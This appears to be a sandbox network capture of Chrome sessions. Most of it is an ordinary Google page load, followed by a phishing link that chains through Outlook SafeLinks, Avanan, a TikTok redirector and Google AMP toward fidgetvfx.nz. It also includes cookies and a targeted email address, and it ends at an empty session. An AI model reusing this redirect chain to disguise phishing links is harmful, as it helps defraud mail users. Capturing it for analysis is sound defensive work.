2024-10-07 18:59:52 UTC	771	IN	HTTP/1.1 302 Found Date: Mon, 07 Oct 2024 18:59:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GlcnqoAmyBdBFr2VB9%2BhOJBnTy%2Fw9ACVGnqpf1MekGbcCC4Skd9m%2BM%2B8sp%2BGo6pkcq%2BX4Ezrk34Audu3zwT2Nchst7p6fGCVEnyVVIdWUMdKRSIWac0DiUHQHbfVeWm9CdxdpsxRBJnZgcU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cf0217d5a1f185d-EWR
2024-10-07 18:59:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49822	142.250.186.36	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:53 UTC	615	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls
2024-10-07 18:59:53 UTC	1201	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:53 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-VfWszmfHnv6Jlvxfn67bFQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 18:59:53 UTC	189	IN	Data Raw: 32 37 33 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f Data Ascii: 273b<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/goo
2024-10-07 18:59:53 UTC	1390	IN	Data Raw: 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 56 66 57 73 7a 6d 66 48 6e 76 36 4a 6c 76 78 66 6e 36 37 62 46 51 22 3e 77 69 6e 64 6f 77 2e 5f 68 73 74 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 22 53 65 61 72 63 68 48 65 61 64 53 74 61 72 74 22 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 56 66 57 73 7a 6d 66 48 6e 76 36 4a 6c 76 78 66 6e 36 37 62 46 51 Data Ascii: gleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="VfWszmfHnv6Jlvxfn67bFQ">window._hst=Date.now();performance&&performance.mark&&performance.mark("SearchHeadStart");</script><script nonce="VfWszmfHnv6Jlvxfn67bFQ
2024-10-07 18:59:53 UTC	1390	IN	Data Raw: 29 2b 22 3f 61 74 79 70 3d 69 26 63 74 3d 22 2b 53 74 72 69 6e 67 28 61 29 2b 22 26 63 61 64 3d 22 2b 28 62 2b 65 2b 64 29 7d 3b 6d 3d 67 6f 6f 67 6c 65 2e 6b 45 49 3b 67 6f 6f 67 6c 65 2e 67 65 74 45 49 3d 70 3b 67 6f 6f 67 6c 65 2e 67 65 74 4c 45 49 3d 71 3b 67 6f 6f 67 6c 65 2e 6d 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 6b 2c 65 29 7b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 65 3b 63 7c 7c 28 63 3d 74 28 61 2c 62 2c 65 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 3d Data Ascii: )+"?atyp=i&ct="+String(a)+"&cad="+(b+e+d)};m=google.kEI;google.getEI=p;google.getLEI=q;google.ml=function(){return null};google.log=function(a,b,c,d,k,e){e=e===void 0?l:e;c\|\|(c=t(a,b,e,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload=
2024-10-07 18:59:53 UTC	1390	IN	Data Raw: 65 6d 65 6e 74 29 69 66 28 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 41 22 29 7b 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 68 72 65 66 22 29 3d 3d 3d 22 31 22 3b 62 72 65 61 6b 20 61 7d 61 3d 21 31 7d 61 26 26 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 7d 2c 21 30 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 68 73 3d 7b 68 3a 74 72 75 65 2c 6e 68 73 3a 66 61 6c 73 65 2c 73 69 65 3a 66 61 6c 73 65 7d 3b 7d 29 28 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 63 3d 7b 62 74 66 69 3a 66 61 6c 73 65 2c 63 34 74 3a 74 72 75 65 2c 63 61 66 3a 66 61 6c 73 65 2c 63 61 70 3a 32 30 30 30 2c 63 66 72 3a 66 61 6c 73 65 2c 63 6c 69 3a 74 72 75 65 2c 63 Data Ascii: ement)if(a.tagName==="A"){a=a.getAttribute("data-nohref")==="1";break a}a=!1}a&&b.preventDefault()},!0);}).call(this);(function(){google.hs={h:true,nhs:false,sie:false};})();(function(){google.c={btfi:false,c4t:true,caf:false,cap:2000,cfr:false,cli:true,c
2024-10-07 18:59:53 UTC	1390	IN	Data Raw: 3d 22 30 70 78 22 29 29 3a 21 31 7d 0a 66 75 6e 63 74 69 6f 6e 20 65 61 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 68 3d 65 28 61 29 2c 6b 3d 68 2e 6c 65 66 74 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 58 4f 66 66 73 65 74 29 2c 6d 3d 68 2e 74 6f 70 2b 28 63 3f 30 3a 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 65 74 29 2c 6e 3d 68 2e 77 69 64 74 68 2c 66 3d 68 2e 68 65 69 67 68 74 2c 67 3d 30 3b 69 66 28 21 62 26 26 66 3c 3d 30 26 26 6e 3c 3d 30 29 72 65 74 75 72 6e 20 67 3b 62 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3b 6d 2b 66 3c 30 3f 67 3d 32 3a 6d 3e 3d 62 26 26 28 67 3d 34 29 3b 69 66 28 6b 2b 6e 3c Data Ascii: ="0px")):!1}function ea(a,b,c,d,e){var h=e(a),k=h.left+(c?0:window.pageXOffset),m=h.top+(c?0:window.pageYOffset),n=h.width,f=h.height,g=0;if(!b&&f<=0&&n<=0)return g;b=window.innerHeight\|\|document.documentElement.clientHeight;m+f<0?g=2:m>=b&&(g=4);if(k+n<
2024-10-07 18:59:53 UTC	1390	IN	Data Raw: 62 7c 7c 78 26 26 74 68 69 73 2e 69 7c 7c 74 68 69 73 2e 6a 7c 7c 74 68 69 73 2e 6c 3f 62 3d 21 31 3a 28 62 3d 74 68 69 73 2e 67 2e 73 72 63 2c 62 3d 74 79 70 65 6f 66 20 62 21 3d 3d 22 73 74 72 69 6e 67 22 7c 7c 21 62 2c 61 3d 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6d 70 22 29 2c 62 3d 0a 61 21 3d 3d 6e 75 6c 6c 3f 61 3d 3d 3d 22 31 22 3a 62 7c 7c 74 68 69 73 2e 67 2e 63 6f 6d 70 6c 65 74 65 29 3b 74 68 69 73 2e 41 3d 62 3b 78 7c 7c 74 68 69 73 2e 41 7c 7c 74 68 69 73 2e 69 7c 7c 45 28 74 68 69 73 29 3b 77 26 26 21 63 26 26 46 28 74 68 69 73 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 72 6c 6c 28 61 2e 67 2c 21 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 47 28 61 2c 44 61 74 65 2e 6e 6f 77 Data Ascii: b\|\|x&&this.i\|\|this.j\|\|this.l?b=!1:(b=this.g.src,b=typeof b!=="string"\|\|!b,a=this.g.getAttribute("data-cmp"),b=a!==null?a==="1":b\|\|this.g.complete);this.A=b;x\|\|this.A\|\|this.i\|\|E(this);w&&!c&&F(this)},E=function(a){google.rll(a.g,!0,function(){G(a,Date.now
2024-10-07 18:59:53 UTC	1390	IN	Data Raw: 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b 7d 2c 6d 3a 7b 7d 7d 7d 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 7c 7c 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 28 61 29 3b 63 3d 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 44 61 Data Ascii: )){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{},m:{}}};google.tick=function(a,b,c){google.timers[a]\|\|google.startTick(a);c=c!==void 0?c:Da
2024-10-07 18:59:53 UTC	1390	IN	Data Raw: 72 73 2e 6c 6f 61 64 2e 74 2e 73 74 61 72 74 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 73 74 61 72 74 3b 66 75 6e 63 74 69 6f 6e 20 50 28 61 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3d 3d 3d 22 68 69 64 64 65 6e 22 29 7b 67 6f 6f 67 6c 65 2e 63 2e 66 68 3d 61 3b 76 61 72 20 62 3b 74 26 26 28 62 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2b 61 29 29 3b 67 6f 6f 67 6c 65 2e 74 69 63 6b 28 22 6c 6f 61 64 22 2c 22 66 68 74 22 2c 62 29 3b 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 51 28 61 29 7b 50 28 61 2e 74 69 6d 65 53 74 61 6d 70 29 26 26 43 28 64 6f 63 75 6d 65 6e 74 2c 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 51 2c 21 30 29 7d 67 6f 6f 67 6c 65 2e 63 2e 66 68 Data Ascii: rs.load.t.start=google.stvsc.start;function P(a){if(document.visibilityState==="hidden"){google.c.fh=a;var b;t&&(b=Math.floor(t+a));google.tick("load","fht",b);return!0}return!1}function Q(a){P(a.timeStamp)&&C(document,"visibilitychange",Q,!0)}google.c.fh
2024-10-07 18:59:53 UTC	132	IN	Data Raw: 74 21 3d 3d 76 6f 69 64 20 30 26 26 28 63 2e 77 73 72 74 3d 62 2e 77 73 72 74 29 3b 69 66 28 68 29 66 6f 72 28 76 61 72 20 6b 3d 30 2c 6d 3b 6d 3d 75 61 5b 6b 2b 2b 5d 3b 29 7b 76 61 72 20 6e 3d 65 5b 6d 5d 3b 6e 26 26 28 63 5b 6d 5d 3d 4d 61 74 68 2e 6d 61 78 28 6e 2d 68 2c 30 29 29 7d 64 3e 30 26 26 28 63 2e 67 73 61 73 72 74 3d 62 2e 74 2e 73 74 61 72 74 2d 64 29 3b 62 3d 62 2e 65 3b 0d 0a Data Ascii: t!==void 0&&(c.wsrt=b.wsrt);if(h)for(var k=0,m;m=ua[k++];){var n=e[m];n&&(c[m]=Math.max(n-h,0))}d>0&&(c.gsasrt=b.t.start-d);b=b.e;
2024-10-07 18:59:53 UTC	308	IN	Data Raw: 31 32 64 0d 0a 61 3d 22 2f 67 65 6e 5f 32 30 34 3f 73 3d 22 2b 67 6f 6f 67 6c 65 2e 73 6e 2b 22 26 74 3d 22 2b 61 2b 22 26 61 74 79 70 3d 63 73 69 26 65 69 3d 22 2b 67 6f 6f 67 6c 65 2e 6b 45 49 2b 22 26 72 74 3d 22 3b 64 3d 22 22 3b 66 6f 72 28 76 61 72 20 66 20 69 6e 20 63 29 61 2b 3d 22 22 2b 64 2b 66 2b 22 2e 22 2b 63 5b 66 5d 2c 64 3d 22 2c 22 3b 66 6f 72 28 76 61 72 20 67 20 69 6e 20 62 29 61 2b 3d 22 26 22 2b 67 2b 22 3d 22 2b 62 5b 67 5d 3b 66 3d 61 3b 67 3d 22 22 3b 61 3d 5b 5d 3b 70 2e 5f 63 73 68 69 64 26 26 0a 61 2e 70 75 73 68 28 5b 22 63 73 68 69 64 22 2c 70 2e 5f 63 73 68 69 64 5d 29 3b 62 3d 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 21 3d 3d 76 6f 69 64 20 30 26 26 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 2e 6b 4f 50 49 21 3d 3d 76 6f 69 64 20 Data Ascii: 12da="/gen_204?s="+google.sn+"&t="+a+"&atyp=csi&ei="+google.kEI+"&rt=";d="";for(var f in c)a+=""+d+f+"."+c[f],d=",";for(var g in b)a+="&"+g+"="+b[g];f=a;g="";a=[];p._cshid&&a.push(["cshid",p._cshid]);b=window.google!==void 0&&window.google.kOPI!==void

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49826	104.47.73.156	443	1176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:00:06 UTC	1416	OUT	GET /?url=https%3A%2F%2Furl.avanan.click%2Fv2%2Fr01%2F___https%3A%2F%2Fwww.tiktok.com%2FqnspdA7%3Ffni%3D6cbb%26qfsl%3Djs%26xhjsj%3Dgnt_zwq%26yfwljy%3Dmyyux%3AddBBB.lttlqj.hfdzwq%3Fv%3DfrudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA%23ZHN5aHJlQG9sZ29vbmlrLmNvbQ%3D%3D&data=05%7C02%7Cjperez%40olgoonik.com%7Cc9269c5239e84553ed1a08dce70166e8%7C341c5aad39be47a3901e146d297ecd80%7C0%7C0%7C638639240423326200%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C0%7C%7C%7C&sdata=svbAeKmNNDcGVia9VKR8vQQD58dfOWPYl9pqz2YfAw0%3D&reserved=0 HTTP/1.1 Host: nam04.safelinks.protection.outlook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:00:06 UTC	931	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ== Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 4.0 X-SL-GetUrlReputation-Verdict: Good X-Robots-Tag: noindex, nofollow X-AspNet-Version: 4.0.30319 X-ServerName: MW2NAM04WS044 X-ServerVersion: 15.20.8048.013 X-ServerLat: 152 X-SafeLinks-Tracking-Id: f73b8d20-01c5-40b4-9556-08dce7024240 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff X-UA-Compatible: IE=Edge Date: Mon, 07 Oct 2024 19:00:06 GMT Connection: close Content-Length: 507
2024-10-07 19:00:06 UTC	507	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 72 6c 2e 61 76 61 6e 61 6e 2e 63 6c 69 63 6b 2f 76 32 2f 72 30 31 2f 5f 5f 5f 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 69 6b 74 6f 6b 2e 63 6f 6d 2f 71 6e 73 70 64 41 37 3f 66 6e 69 3d 36 63 62 62 26 61 6d 70 3b 71 66 73 6c 3d 6a 73 26 61 6d 70 3b 78 68 6a 73 6a 3d 67 6e 74 5f 7a 77 71 26 61 6d 70 3b 79 66 77 6c 6a 79 3d 6d 79 79 75 78 3a 64 64 42 42 42 2e 6c 74 74 6c 71 6a 2e 68 66 64 7a 77 71 3f 76 3d 66 72 75 64 78 64 6b 6e 69 6c 6a 79 41 6b 43 2e 73 45 64 2e 66 72 6c 5f 5f 5f 2e 59 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49828	108.138.7.53	443	1176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:00:07 UTC	1045	OUT	GET /v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA HTTP/1.1 Host: url.avanan.click Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: x-cloud-sec-ctp=d5c61469-ccb4-4616-b9c8-fc6dedbaa5fc
2024-10-07 19:00:08 UTC	461	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 07 Oct 2024 19:00:08 GMT location: https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https://www.google.ca/url?q=amp/s/fidgetvfx.nz/.amg Apigw-Requestid: fSxkzhAIIAMEMrg= X-Cache: Miss from cloudfront Via: 1.1 ecb3ea567a6c6095a23354fbdc938128.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P6 X-Amz-Cf-Id: JEuQp9MqJfMYRHGQI0oXPwnRUqdmTws_CUNX4DqK0h7-JdCNlMPx3g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49831	142.250.184.227	443	1176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:00:10 UTC	913	OUT	GET /url?q=amp%2Fs%2Ffidgetvfx.nz%2F.amg&safe=active HTTP/1.1 Host: www.google.ca Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=eHZl7kMt6CPMmlrseouBRf1jY2KF-jpcx1Rj7ZX46_W1_nUlOd532aLom3AHX27cF8VAdpQaEVZSSRmRRcgR5UKvNwlYpp8svjWBL_Zs85rASA36Tdwo05-_879fjZ8NQqu062Baord6K7QJmXb6q24s0Uohmtj-qRnSr_9Th5aeoDdodMc7vLws8plkqPpv
2024-10-07 19:00:10 UTC	617	IN	HTTP/1.1 302 Found Location: https://www.google.ca/amp/s/fidgetvfx.nz/.amg Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-miYnfBhn-4BAvxhlC6-f1w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() Date: Mon, 07 Oct 2024 19:00:10 GMT Server: gws Content-Length: 242 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-07 19:00:10 UTC	242	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 61 2f 61 6d 70 2f 73 2f 66 69 64 67 65 74 76 66 78 2e 6e 7a 2f 2e 61 6d 67 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.ca/amp/s/fidgetvfx.nz/.amg">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49833	142.250.184.227	443	1176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
